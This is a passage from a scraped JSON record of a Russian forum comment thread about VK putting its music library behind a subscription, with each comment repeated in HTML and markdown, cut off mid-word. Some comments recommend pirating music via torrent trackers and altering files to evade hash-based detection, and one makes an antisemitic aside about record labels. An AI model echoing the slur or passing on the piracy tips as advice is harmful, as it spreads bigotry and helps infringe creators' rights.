xmlns=\"http://www.w3.org/1999/xhtml\">Конечно, к цивилизованному и правовому бизнесу. Хотя это конечно в этом случае печалит если они пойдут дальше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">пфф, компания сони это цивизилованный и правильный бизнес тюремные сроки за контрафакт, до 10 лет, в японии это правильный бизнес? прослойка между артистом и потребителем его таланта это правильный бизнес. Это скорее привычный капитализму бизнес, а не правильный. Премодерация того, что я должен слушать? Заворачивание для меня в коробочку музыку? Ваше мнение вкорне не верно. <br/>\r\n<br/>\r\nАх да предложите мне apple music или google play как альтернативу, и поймете что во всех этих средствах предоставления музыкального контента нет, возможности молодому музыканту обрести популярность и монетизироватся без контракта с издателем(вставил бы картинку с евреем, но и так все понятно). Ему приходится идти пока на ютуб и соунклауд. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> монетизироватся без контракта с издателем<br/>\r\nСмотря что подразумевать. <br/>\r\nЕсли «нет возможности залить музыку в эти сервисы и начать её продавать в них» — то, конечно же, есть. Например, через https://freshtunes.com/ (есть ещё с десяток похожих сервисов).<br/>\r\n<br/>\r\nЕсли «нет возможности заработать кучу денег без лейбла» — то тут скорее невозможно, чем возможно. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Короче говоря снова здравствуйте объёмные карты памяти и внешние жёсткие диски! Уж с вас то никто не заберёт мою музыкальную библиотеку. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Заберут. Завтра сделают модуль, который по хэшам будет сносить файлы. Стоит только в компьютер или телефон с Microsoft воткнуть. Они первые прогнуться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Закрыть на файрволе обновление базы хешей и вообще обновление ПО.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хорошо, сегодня вы отключите обновления, а завтра выйдет какая-нибудь зараза, нацеленная на Windows без обновления, причем вводящая его в полную кому. Firewall больше не поможет. С таким же успехом MS вообще может воспользоваться бэкдором своим каким-нибудь и поставить это без вашего ведома. <br/>\r\nИ дело даже не в вас, а в друзьях. У вас дома может спокойно стоять Linux, а друзей комп под Windows и трек исчезнет с носителя.<br/>\r\n<br/>\r\nПроблема ведь не в том, что люди слушают пиратский контент, а в том почему и ответ здесь прост — удобство доступа. <br/>\r\nЕсли сделать нормальный независимый легальный сервис по размещению музыки, то люди смогут за нее платить, а исполнители получать гонорар. Дело в том, что существующая в России сейчас система не может это позволить. Слишком запутаны законы и слишком строго контролируется финансовая деятельность.<br/>\r\nВот ответьте, как пацаны, которым по 15-16 лет могут заработать на собственном таланте играя где-нибудь в подвале у себя? Да никак. Лично я не вижу проблемы заплатить 100 рублей за музыку в месяц. И буду рад знать, что из этих 100 рублей 80 уйдет исполнителям лично, 10 уйдет на работу сервиса и 10 в качестве налогов государству. Все от этого только выиграют. Пацаны купят себе новое оборудование, ребята разрабатывающие сервис смогут продолжить это делать, государство будет развиваться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К сожалению, есть лейблы, которым уходят те самые 80%, авторам достаются копейки. И они не дадут принять нормальные законы, ибо это их кормит.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>сегодня вы отключите обновления, а завтра выйдет какая-нибудь зараза, нацеленная на Windows без обновления, причем вводящая его в полную кому. Firewall больше не поможет</blockquote>Как, если винда за роутером и входящие соединения запрещены (кроме портов, на которых сидят определённый программы, к винде не имеющие отношения). Через браузер разве что. Но он обновляется.<br/>\r\n<blockquote>С таким же успехом MS вообще может воспользоваться бэкдором своим каким-нибудь и поставить это без вашего ведома</blockquote>Значит, firewall должен быть на роутере, а не виндовый.<br/>\r\n<blockquote>И дело даже не в вас, а в друзьях. У вас дома может спокойно стоять Linux, а друзей комп под Windows и трек исчезнет с носителя.</blockquote>Да пускай исчезает, жалко что-ли? Неужели я буду ходить к друзьям с носителем, на котором ценная информация в единственном экземпляре. Обычно скопировал, что нужно, на носитель и пошёл раздавать.<br/>\r\n<br/>\r\nРазве что не получится донести, потому что комп друзей не примет файл — так это их проблемы и повод им сделать такую же изолированную систему (купить на барахолке комп за 5000 руб. под эти цели, а то и вовсе древний планшет, на котором ось уже не обновляется).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У вас есть пруфы, что мс сносил музыку с устройств? Я слышал только про амазон и эпл. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>сделают модуль, который по хэшам будет сносить файлы</blockquote><p>Во-первых, файл можно положить в архив. В худшем случае винде придётся удалять всё, что она не может распознать. Такая винда будет нафиг никому не нужна.<br/>\r\nВо-вторых, целую кучу типов файлов можно немножечко менять. Те же фото/видео/звук можно по разному кодировать, менять метаданные, вносить микро-искажения (например, чуть более красный пиксель где-нибудь на картинке или чуточку другой звук вначале мелодии) — хеши не помогут.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Но ведь файлы можно не удалять, достаточно факта наличия файла в файловой системе.<br/>\r\nВот смотрите, в США пресловутый Comcast успешно определял скачивание торрентов. Потом автоматически клиент получал письма счастья. Только благодаря этому использование торрентов за последние 4 года значительно сократилось. С другой стороны за эти годы получили популярность Netflix, HBO, AMC, Hulu и родной сервис от Comast — Xfinity. <br/>\r\nПросто не обязательно удалять файлы. Достаточно простого неотключаемого уведомления внутри операционной системы об использовании нелицензионного контента. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На некоторых накопительных девайсах (видел на USB, SD и переходнике microSD/SD) есть физический переключатель «Read only». Интересно, как с таких девайсов сносить будут?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всегда так и делал. 500 гигабайт музыки локально + бэкап в облачное хранилище.<br/>\r\nА все эти ваши соцсети… сегодня соцсеть есть, завтра нет, сегодня я в ней есть, завтра нет, сегодня музыка там бесплатная, завтра платная.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Перенес всю музыку в офлайн, поставил аимп норм современный проигрыватель.<br/>\r\nПошли к черту со своими платными подписками. после переноса стал раз в 5 меньше пользоваться вк. Один фиг сервис их так себе и музыку удалять задолбали в свое время, смотрю половина записей исчезла, пришлось долго вспоминать треки…<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вк все сломал. я готов платить за адекватную музыку, но в вк нет возможности даже банально посмотреть все альбомы исполнителя, для этого надо идти в его группу и там искать. рекомендации слмоались, у меня теперь там висит одна песня. при блокировании андроид телефона музыка через пару секунд перестает играть и все зависает. божественное приложение BOOM тупо не пожет подключится к интернету. супер. придетсся и дальше слушать spotify </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вспоминается куча комментаторов с «был бы сервис легальный сервис, чтобы удобный и вся музыка, я бы платил». Почему люди перехотели платить?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это потому что эту композицию кто-то всё-таки сыграл, записал и выпустил. У вас же не ноты забрали(пока что:( ).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">через семьдесят лет (на сколько я помню) после смерти МакSим — пожалуйста, конечно. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Это потому что эту композицию кто-то всё-таки сыграл, записал и выпустил</blockquote>Если бы этот «кто-то» сыграл композицию не для продажи, а на радость всем слушателям, или ntfs1984 самостоятельно бы сыграл, записал и выложил, думаете, vk разобрались бы в ситуации и не удалили трек?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так разные люди. Кто так комментировал, сейчас заплатил и пользуется. Зачем им нас об этом информировать?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А, логично.<br/>\r\nСейчас просто видно что заплючованы только комментарии недовольства и складывается ощущение, будто «всё плохо, опять сделали хуже», хотя решение правильное.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну так для мейл ру правильное, для пользователей, чей контент сломали — не очень, вот и информируют…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как пользовался google music, так и пользуюсь. Музыку в вк и так почти никогда не слушал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Потому что гугл оказался удобнее и стартовал раньше. Плачу ему и давно не слушаю музыку с вк.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ситуация в ВК другая: это как если бы википедия, которую создавали миллионы пользователей вдруг сказала, что вводит подписку, редакторы и авторы могут отправляться за вознаграждением в лес. Музыка контакта в первую очередь пользователями загружена и систематизирована.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну как бы<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/getpro/geektimes/comment_images/ea7/f9d/1db/ea7f9d1dbbe3268f6cffb2cf24d1c92e.png\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/ea7/f9d/1db/ea7f9d1dbbe3268f6cffb2cf24d1c92e.png\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще бы оригиналы треков помечались как-нибудь, а то в помойном поиске одни ремиксы от школьников. Да и вообще все правообладатели должны залить всю свою музыку в отличном качестве.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что же за дичь вы слушаете, что постоянно натыкаетесь на ремиксы и прочие издевательства над оригиналом?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Боба Марли, Рэя Чарльза и битлов с нирваной очень любят ремиксить. Очень бесит, когда поставишь играть в фоне где нибудь, а через пару треков начинается <b>ТЫЦТЫЦТЫЦТЫЦЗАДАВЛЕННЫЙАВТОТЮНОМБОБМАРЛИТЫЦТЫЦТЫЦ</b>. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так вы почти два экрана вниз прокрутили</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">аж кровь из ушей. <br/>\r\n<br/>\r\nМне вот интересно, что за мания у людей, пихать переделки, а не оригиналы, даже и в низком качестве.<br/>\r\nКакая религия не позволяет насладиться первоисточником?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Что же за дичь вы слушаете<br/>\r\nНе надо так говорить про музыкальные вкусы другого человека, какие бы они не были. <a href=\"https://music.yandex.ru/artist/749008\">Blackmill</a> как пример, мне часто попадались ремиксы и даже другие исполнители названые его именем. Напомню что сегодняшняя «музыка» это вчеравние «аудиозаписи», не фонотека, не каталог, а в прошлом обычная файлопомойка которая умеет играть в браузере. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>вчеравние «аудиозаписи», не фонотека, не каталог, а в прошлом обычная файлопомойка</blockquote>И хотелось бы, чтобы так и осталось. Пусть будет больше разных сервисов. В сторону каталога двигаются все, кому денег хочется, их и без vk хватает. Не хотелось бы, чтобы уничтожили помойку и сделали ещё одно зеркало iTunes, ещё одну торговую витрину для тех же самых лейблов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Та же мысль пришла, натыкаюсь один трек из сотни-двух-трёх, где в название на всю длину (а она там немалая) напихано всех известных слов. Но обычно там не миксы, а хорошо если не чьё-то пьяное мычание (оно теперь тоже платное?)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Что характерно, без флеша до сих пор лыжи не едут. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У кого не едут? Firefox 53.0, x64, Windows.<br/>\r\nFlash Player не установлен.<br/>\r\nМузыка из vk играет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Хм, странно. В вивальди плюет ошибку, что нужен флеш плеер.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А заодно они «для нашего блага» сломали оффлайн-режим в мобильном клиенте (Kate и других, официальным не пользуюсь). Пришла весенняя тяга к деятельности.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Например, они могут отключить аудиорекламу сразу на всех платформах. „<br/>\r\nЭто шедевр маркетинга, медаль из латекса тому, кто это придумал, в область тела чуть ниже спины.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не пользователь вк, но просто интересно, что на счёт семейных подписок?</div>" ], "message_markdown": [ "Если выбирать между платной музыкой ВК и google music, то я выберу последнее.", "Только если для вас дополнительные возможности сервиса важнее полноты ассортимента.\nСила контакта в записях, залитых пользователями. Там можно найти и какую-нибудь малоизвестную Воронежскую панк-группу, и последние релизы с японского анимешного фестиваля. В глянцево-рафинированных google play и iTunes этого нет.", "Ага, точно. А ещё в ВК over9000 bassboosted версий оригинальной композиции, ремиксов от noname диджеев из муходранска и прочего шлака, что иногда затрудняет поиск оригинала песни.", "Ключевое слово тут — «иногда», зато гораздо большее страдание доставляет отсутствие трека вообще.\nПомойка, конечно, не есть хорошо, но можно найти только то, что есть.", "Мне кажется, обилие неадеватных ремиксов связано с тем, что все оригиналы удалены автоматическим поиском по аудиохэшу.", "Музыка в вк всегда была для меня неприоритетным источником + качество там сильно гуляет, кривые теги.", "Для «сёрфинга» по музыке и поиска чего-то нового самое то. А после можно скачать полные дискографии во FLAC-качестве с торрент-трекеров.", "Вот только, к сожалению, крупнейший музыкальный торрент-трекер what.cd полгода назад прикрыли. И теперь всё очень и очень грустно.", "Низкопробных аудиозаписей с дурацкими подписями вроде «музыка для тренировок», «BASSBOOSTED by DJ VASYA — убей соседей басами» и проч. тоже хватает. Так что регулировать фонотеку VK, конечно же, надо. Но для этого вполне можно было назначить меня верховным модератором аудиозаписей, как я неоднократно просил через форму обратной связи. И тогда никакие правообладатели не смогли бы подкопаться. В отличие от петербургских хипстеров в подвёрнутых штанишках, которые не брали в руки гантели, я и в морду дать могу.", "Когда музыкальные интересы совпадают теми, кто слушает «музыку для тренировок» и «убивает соседей басами», это проблема.\nЕсли же слушать ambient, goa-trance, chiptune или touhou, никаких проблем с низким качеством или с мусором нет. Фанаты этих жанров заливают на vk музыку в высшем качестве.", "Ох, красава)", "Проблема-то в том, что за прослушивание воронежской панк-группы теперь тоже нужно платить. Я бы может и рад, но сомневаюсь, что до них деньги дойдут.", "Это мало чем отличается от модели google play.\nВезде копирасты захапали себе все права, и не факт, что авторам (мелким особенно) что-то достаётся.", "Если вы зальете свою музыку в гп то она останется доступной без подписки.", "Для всех или только для залившего?", "UFO just landed and posted this here", "Получается что теперь ВК извлекает прибыль нарушая авторские права воронежских панков?", "Они и раньше это делали, ничего не изменилось.", "(малоизвестную Воронежскую панк-группу). Не сказал бы что так уж и малоизвестная )\nСолнышко лучистое улыбнулось весело,\nПотому что с коpешем мы запели песенку... (с)", "Как я понимаю, сейчас их подписка получается дешевле чем у Apple и Google (не уверен так как живу в Украине). Но если сравнить удобство прослушивания музыки в ВК и Google music то скажу то гугл впереди. Мне очень понравилось оформление, анимации, автогенерация плейлистов. Не помню чтобы ВК такое делал. Плюс там выбор огромный. Все что я хотел я там находил.", "Когда уже появится децентрализованный открытый сервис на основе торрентов, который позволит слушать музыку так же, как сейчас в соц.сетях, плюс качать и раздавать.", "UFO just landed and posted this here", "В студенческие годы хотел сделать подобное. Сканировать личную библиотеку на наличие музыкальных треков (по типу DC-клиентов). Извлекать из них ID3-теги, компоновать в библиотеку и размещать метаданные на обменники. Затем каждый мог бы видеть такую удаленную библиотеку и качать себе.\nЭх... Не хватило силенок у меня. А жаль, сейчас был бы на пиратском корабле с бутылкой рома)", "Просто в маркетах появятся сторонние приложения с возможностью все слушать как и было. А те приложения что уже есть, я думаю адаптируются и тоже смогут.", "вк закрыл аудиозаписи по API, а те приложения которые это обойдут — будут активно репортиться в гугл и блокироваться.", "Ха ха... т.е. мяу... после закрытия аpi это ожидаемый шаг.\nЭто же ждет и прямого конкурента music.yandex.ru, после того как он подберет пользователей ушедших с vk.com.\nЗначит выросло платежеспособное поколение (X или кого там... Y...)... что такое 149 рублей за «Воронежскую панк-группу»?\nЗвук должен быть свободным.\nЗЫ VK.Com не умеет рекомендовать стили и группы по стилям исходя из скачанных\\купленных предпочтений... где же BigData VK.com? Только API резать :-)", "Я.музыку это уже не ждет. Там несколько лет как отключение рекламы, HQ и оффлайн на телефоне только за деньги.", "> Там несколько лет как отключение рекламы, HQ и оффлайн на телефоне только за деньги.\nПричём этот HQ звучит весьма паршиво. От бесплатной версии практически не отличается (или у меня со слухом плохо, вполне допускаю).", "Там обычный 48 KHz 320 kbps MP3, но пожатый довольно посредственно, и без пиетета вроде мультипассов. Звучит оно нормально — пользуюсь на постоянке на телефоне, иногда на десктопе. Не Спотифай, но жить можно — а радио, после закрытия Ласта, и вовсе у меня ответственно за появление всей свежей музыки впоследствии.", "Далеко не факт, что эта панк группа, получит какие либо отчисления. Ведь они заключили соглашения, по сути с крупнейшими лейблами. Остальные ничего не получат.", "Грубо говоря, массовый «прогресс» в соблюдении прав обладателей — вопрос стоимости. Музыка за 150р, видео за 150-300р — «дайте две», встану в первые ряды подписантов, просто даже чтобы не морочиться излишне. Проблема как раз в том, что пока нет вменяемого полновесного сервиса для «музыки» и «фильмов» (ну или не нашёл до сих пор).", "Героический вы человек, за видео в таком качестве платить... Я его бесплатно смотреть не могу.", "Момент с продажей песен странный. Почему то я, к примеру, выточу болт М16 и мне заплатят за один болт. При этом я не могу сделать сотню фотографий и раздавать «копии» покупателям болтов.\nА в случае с правообладателями и вовсе плохо все: кто то, когда то выточил болт и теперь за счет этого болта живет кучка ~~продавцов~~ паразитов.", "Если болт очень красивый, вы можете брать деньги с желающих им полюбоваться :)", "а копиями песен скреплять элементы конструкции, да.", "А они вернут похеренные ранее записи? Если да, то готов заплатить, чтобы перенести к себе в оффлайн.", "А подскажите пожалуйста, кто уже разобрался, как в этой модели будут платить инди-группам «за каждое прослушивание трека»? Т. е. в том случае, когда правообладатель композиции — непосредственно группа, а не лейбл.", "группы внезапно узнают, что все таки у них есть какой-то лейбл, котору отчисляются деньги :)", "UFO just landed and posted this here", "На каком же основании? Поддельный договор, поддельные подписи и т. д.? Я думал, 90-е давно прошли...\nВопрос был о группах, которые издают альбомы самостоятельно. Self-released, Not on label — так это обозначается на discogs.com. Есть еще вариант, издают на собственном лейбле. В этом случае все проще? Надо лейблу заключить договор с mail.ru?", "скорее всего — никак. «либо требуйте удаления ваших треков с ВК, либо заключайте договор с лейблом из списка, если хотите деньги за прослушивания, либо смиритесь что мы крадем ваши деньги»", "Монетизация ранее бесплатного контента обречена на провал. А вот то, что они этим vkopt сломали (видимо, из-за редизайна раздела) — печально...", "Он у меня после редизайна ВК отвалился. Перешел на FlyVK.", "А там (вк) есть музыка, которую сам вконтакте заливал или там делается всё платным, что загрузили пользователи?", "Надо было национализировать «ВКонтакте», как это предлагали сделать коммунисты. Тогда бы никакие правообладатели не могли бы ничего сделать. Почему всероссийская социальная сеть не принадлежит народу? Это куда годится?", "наверное за это Вас в «великие модераторы звука» и не взяли...", "Онлайн нас разбаловал и начали забывать старое правило: можно без ограничений использовать то, что лежит у тебя на компьютере, а то, что лежит «в твоём персональном разделе на каком-то сайте» ты можешь использовать до тех пор, пока позволяет добрый дядя владелец.\nА ведь введут gmail.com и mail.ru платную поддержку почтовых аккаунтов «всего за 200 руб/мес» и очень многим придётся платить — слишком много на эти ящики у всех завязано.", "> можно без ограничений использовать то, что лежит у тебя на компьютере\n«С использованием старых ОС, оборудования и при отключении от сети». Так как в скором времени и ОС, и прошивки ПК будут не лучше этих сайтов.", "Это антиутопия. В самом худшем случае останется линукс и подобные. Это если все коммерческие ОС закроются в яблочном стиле.", "> В самом худшем случае останется линукс и подобные.\nКоторые некуда будет поставить. Да, самая мрачная антиутопия.", "Можно закупиться более менее топовым железом прозапас.\nБлаго, пока что можно найти нормальную мать, ноут и прочие устройства, на которые можно поставить любую ОС. А актуальными они будут ещё довольно долгое время.\nЯ себе такой запас сделал, правда железа не очень топового а просто списанного из-за апгрейда. Но всё ж таки.", "Ну, если до конца развивать концепцию антиутопии, то такое железо просто не сможет подключится к сети в виду заумных шифрованных протоколов с индивидуальными ключами, вшитыми в железо, а его владельцев объявят террористами и педофилами, ибо такое железо не будет содержать модуля определения террористических переписок и детской порнографии.", "Для мрачности можно повспоминать про UEFI и SecureBoot...", "Срок сохраняемости железа какой?", "По моему, практически вечный. Ну разве что винчи, ссд да оперативная память могут с годами получить битые ячейки. Но это такая себе вероятность.", "Тупо кондеры вздуются, и не все имеют квалификацию их заменить.", "Ну завязано. За месяц всё можно перевести на другой адрес, а 200р единоразово — не та цена, чтобы этим беспокоится заранее.", "такого уже не будет. ты итак им платишь, просматривая рекламу", "О том я и толкую. Чтобы избежать этого, нужно национализировать интернет-компании. Они должны работать на благо народного хозяйства, а не на чьи-то богатства.", "Через 10 лет частная компания придумает ещё одну технологию, по важности сравнимую с Гуглом. Через 5 лет после этого её также национализируют.\nОстальным будет чёткий сигнал: хотите делать инновации — переезжайте в страну, где нет угрозы отжима бизнеса государством.\nИ больше в стране никогда не возникают собственные технологические гиганты...", "Да, инновации должны принадлежать и служить народу. Мало смысла в существовании гигантов, если с них ничего не перепадает народу. Читаю отчёты об их прибыли и думаю: сколько денег, а где же дороги?\nGoogle, кстати, тоже по праву наш. Создатель-то у нас родился. Зря его выпустили, конечно. Сидит там сейчас и ругает Россию, без которой его бы не было. Надо бы обратно его выписать. Better late than never.", "Увы, практика показывает, что частная компания, платящая налоги, в итоге выгодней для государства, чем государственная компания, отдающая всю прибыль. Просто потому что частная компания эффективнее.\nНационализируете вы крупнейшую социальную сеть — появится новая частная, и ваша сеть отправится куда-то к майспейсу и аолу. Или, хуже того, не появится, потому что все решат, что в этой стране лучше ничего и не начинать, всё равно отберут.", "Был и в России такой, Павел Дуров зовут. Перебрался на Сент-Китс и Невис.", "Чтобы сразу все знали — нефиг ничего делать, лучше будь серой массой и проживёшь дольше. сейчас тоже вполне работает, ваше будущее уже наступило.", "У меня одного волосы дыбом встают от подобных комментариев?", "Уже есть национальный поисковик Спутник. Для начала начните пользоваться им, а потом о национализации говорите.", "UFO just landed and posted this here", "Нет конечно же. Они поменяют API и все старые приложения отвалятся.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Прежде всего, нужен запрос от общества.\nТо есть, миллионы обычных людей должны сказать: нафиг этот фейсбук, я готов его бросить и уйти в другую сеть. Но пока большинство устраивает централизованная сеть.", "UFO just landed and posted this here", "Насколько я понимаю, децентрализованная -не значит общественная или бесхозная. Достаточно связать каким-то договором несколько частных сетей, обеспечив деление на сколь-угодно мелкие сегменты. Что бы сегмент в 100 пользователей Вы могли держать на домашнем сервере и он оставался логически связанным с сегментом в 100к пользователей от «Фигбук»TM. С этой позиции, надеюсь, не возникает вопросов с финансированием.\nКст, немного из другой оперы, но децентрализованный(хотя и проприетарный) Скайп лет 10 спокойно работал.", "Какой же Скайп децентрализованный, если у него всегда была единая точка отказа (и управления заодно) — сервера авторизации. Достаточно забанить аккаунт, и остаётся только жаловаться владельцам сервиса.\nХороший, проверенный пример децентрализованного протокола — это e-mail.\nВот уж где свобода. Хочешь — сам ставь свой сервер, хочешь — пользуйся гигантом типа gmail.\nПохоже, корпорации сразу не могли обнаружить и задавить e-mail как явление, и протокол стал популярным, неуправляемым и свободным. Теперь уже ничего подобного не возникнет.", "> Вот уж где свобода.\nЗависимость от выдающих доменные имена. Отобрали домен- не работает почта, хоть на своём сервере, хоть на другом.", "На IP-адрес типа vasya@55.55.55.55 не придёт?\nТак, в принципе, в интернете свобода никакая невозможна.\nАдреса же централизованно выдаются.", "> Ибо если нет хозяина, то кто и на что будет содержать всё это децентрализованное хозяйство?\nА кто держит сервера для других децентрализованных протоколов? Где бесплатные админы у торрентов и биткоинов?", "Ну вообще-то такая сеть уже есть... Тут проблема не создать, а продвинуть в массы.", "UFO just landed and posted this here", "https://mastodon.social/about", "Делаешь что то бесплатное хорошо, люди говорят спасибо, пользуются это бесплатное становится популярным. Его покупают, делают платным — профит. Система монитезации российского и не только интернета. Заколебали если честно.\nПодбиралась музыка во вконтакте для друзей, когда приходишь в гости можешь запустить свой плейлист и устроить танец, или послушать записи своей подруги великолепно играющей на гитаре сейчас, вместо того чтобы пользоватся облачными сервисами, я буду должен таскать все свои плейлисты на флэшке.\nИ снова привет soundcloud, когда же до тебя доберутся капиталисты?\nf@ck you mail.ru ни копейки от меня не получишь. Сделай что нибудь свое и хорошо и тогда поговорим.", "ну пока денег просят только за оффлайн, в гостях обычно есть интернет. Плейлисты вот это скорее интересное нововведение, папки уж больно зачаточные функции имеют.", "сами понимаете к чему идет", "Конечно, к цивилизованному и правовому бизнесу. Хотя это конечно в этом случае печалит если они пойдут дальше.", "пфф, компания сони это цивизилованный и правильный бизнес тюремные сроки за контрафакт, до 10 лет, в японии это правильный бизнес? прослойка между артистом и потребителем его таланта это правильный бизнес. Это скорее привычный капитализму бизнес, а не правильный. Премодерация того, что я должен слушать? Заворачивание для меня в коробочку музыку? Ваше мнение вкорне не верно.\nАх да предложите мне apple music или google play как альтернативу, и поймете что во всех этих средствах предоставления музыкального контента нет, возможности молодому музыканту обрести популярность и монетизироватся без контракта с издателем(вставил бы картинку с евреем, но и так все понятно). Ему приходится идти пока на ютуб и соунклауд.", "> монетизироватся без контракта с издателем\nСмотря что подразумевать.\nЕсли «нет возможности залить музыку в эти сервисы и начать её продавать в них» — то, конечно же, есть. Например, через https://freshtunes.com/ (есть ещё с десяток похожих сервисов).\nЕсли «нет возможности заработать кучу денег без лейбла» — то тут скорее невозможно, чем возможно.", "Короче говоря снова здравствуйте объёмные карты памяти и внешние жёсткие диски! Уж с вас то никто не заберёт мою музыкальную библиотеку.", "Заберут. Завтра сделают модуль, который по хэшам будет сносить файлы. Стоит только в компьютер или телефон с Microsoft воткнуть. Они первые прогнуться.", "Закрыть на файрволе обновление базы хешей и вообще обновление ПО.", "Хорошо, сегодня вы отключите обновления, а завтра выйдет какая-нибудь зараза, нацеленная на Windows без обновления, причем вводящая его в полную кому. Firewall больше не поможет. С таким же успехом MS вообще может воспользоваться бэкдором своим каким-нибудь и поставить это без вашего ведома.\nИ дело даже не в вас, а в друзьях. У вас дома может спокойно стоять Linux, а друзей комп под Windows и трек исчезнет с носителя.\nПроблема ведь не в том, что люди слушают пиратский контент, а в том почему и ответ здесь прост — удобство доступа.\nЕсли сделать нормальный независимый легальный сервис по размещению музыки, то люди смогут за нее платить, а исполнители получать гонорар. Дело в том, что существующая в России сейчас система не может это позволить. Слишком запутаны законы и слишком строго контролируется финансовая деятельность.\nВот ответьте, как пацаны, которым по 15-16 лет могут заработать на собственном таланте играя где-нибудь в подвале у себя? Да никак. Лично я не вижу проблемы заплатить 100 рублей за музыку в месяц. И буду рад знать, что из этих 100 рублей 80 уйдет исполнителям лично, 10 уйдет на работу сервиса и 10 в качестве налогов государству. Все от этого только выиграют. Пацаны купят себе новое оборудование, ребята разрабатывающие сервис смогут продолжить это делать, государство будет развиваться.", "К сожалению, есть лейблы, которым уходят те самые 80%, авторам достаются копейки. И они не дадут принять нормальные законы, ибо это их кормит.", "> сегодня вы отключите обновления, а завтра выйдет какая-нибудь зараза, нацеленная на Windows без обновления, причем вводящая его в полную кому. Firewall больше не поможет\nКак, если винда за роутером и входящие соединения запрещены (кроме портов, на которых сидят определённый программы, к винде не имеющие отношения). Через браузер разве что. Но он обновляется.\n> С таким же успехом MS вообще может воспользоваться бэкдором своим каким-нибудь и поставить это без вашего ведома\nЗначит, firewall должен быть на роутере, а не виндовый.\n> И дело даже не в вас, а в друзьях. У вас дома может спокойно стоять Linux, а друзей комп под Windows и трек исчезнет с носителя.\nДа пускай исчезает, жалко что-ли? Неужели я буду ходить к друзьям с носителем, на котором ценная информация в единственном экземпляре. Обычно скопировал, что нужно, на носитель и пошёл раздавать.\nРазве что не получится донести, потому что комп друзей не примет файл — так это их проблемы и повод им сделать такую же изолированную систему (купить на барахолке комп за 5000 руб. под эти цели, а то и вовсе древний планшет, на котором ось уже не обновляется).", "У вас есть пруфы, что мс сносил музыку с устройств? Я слышал только про амазон и эпл.", "> сделают модуль, который по хэшам будет сносить файлы\nВо-первых, файл можно положить в архив. В худшем случае винде придётся удалять всё, что она не может распознать. Такая винда будет нафиг никому не нужна.\nВо-вторых, целую кучу типов файлов можно немножечко менять. Те же фото/видео/звук можно по разному кодировать, менять метаданные, вносить микро-искажения (например, чуть более красный пиксель где-нибудь на картинке или чуточку другой звук вначале мелодии) — хеши не помогут.", "Но ведь файлы можно не удалять, достаточно факта наличия файла в файловой системе.\nВот смотрите, в США пресловутый Comcast успешно определял скачивание торрентов. Потом автоматически клиент получал письма счастья. Только благодаря этому использование торрентов за последние 4 года значительно сократилось. С другой стороны за эти годы получили популярность Netflix, HBO, AMC, Hulu и родной сервис от Comast — Xfinity.\nПросто не обязательно удалять файлы. Достаточно простого неотключаемого уведомления внутри операционной системы об использовании нелицензионного контента.", "На некоторых накопительных девайсах (видел на USB, SD и переходнике microSD/SD) есть физический переключатель «Read only». Интересно, как с таких девайсов сносить будут?", "Всегда так и делал. 500 гигабайт музыки локально + бэкап в облачное хранилище.\nА все эти ваши соцсети... сегодня соцсеть есть, завтра нет, сегодня я в ней есть, завтра нет, сегодня музыка там бесплатная, завтра платная.", "Перенес всю музыку в офлайн, поставил аимп норм современный проигрыватель.\nПошли к черту со своими платными подписками. после переноса стал раз в 5 меньше пользоваться вк. Один фиг сервис их так себе и музыку удалять задолбали в свое время, смотрю половина записей исчезла, пришлось долго вспоминать треки...", "UFO just landed and posted this here", "вк все сломал. я готов платить за 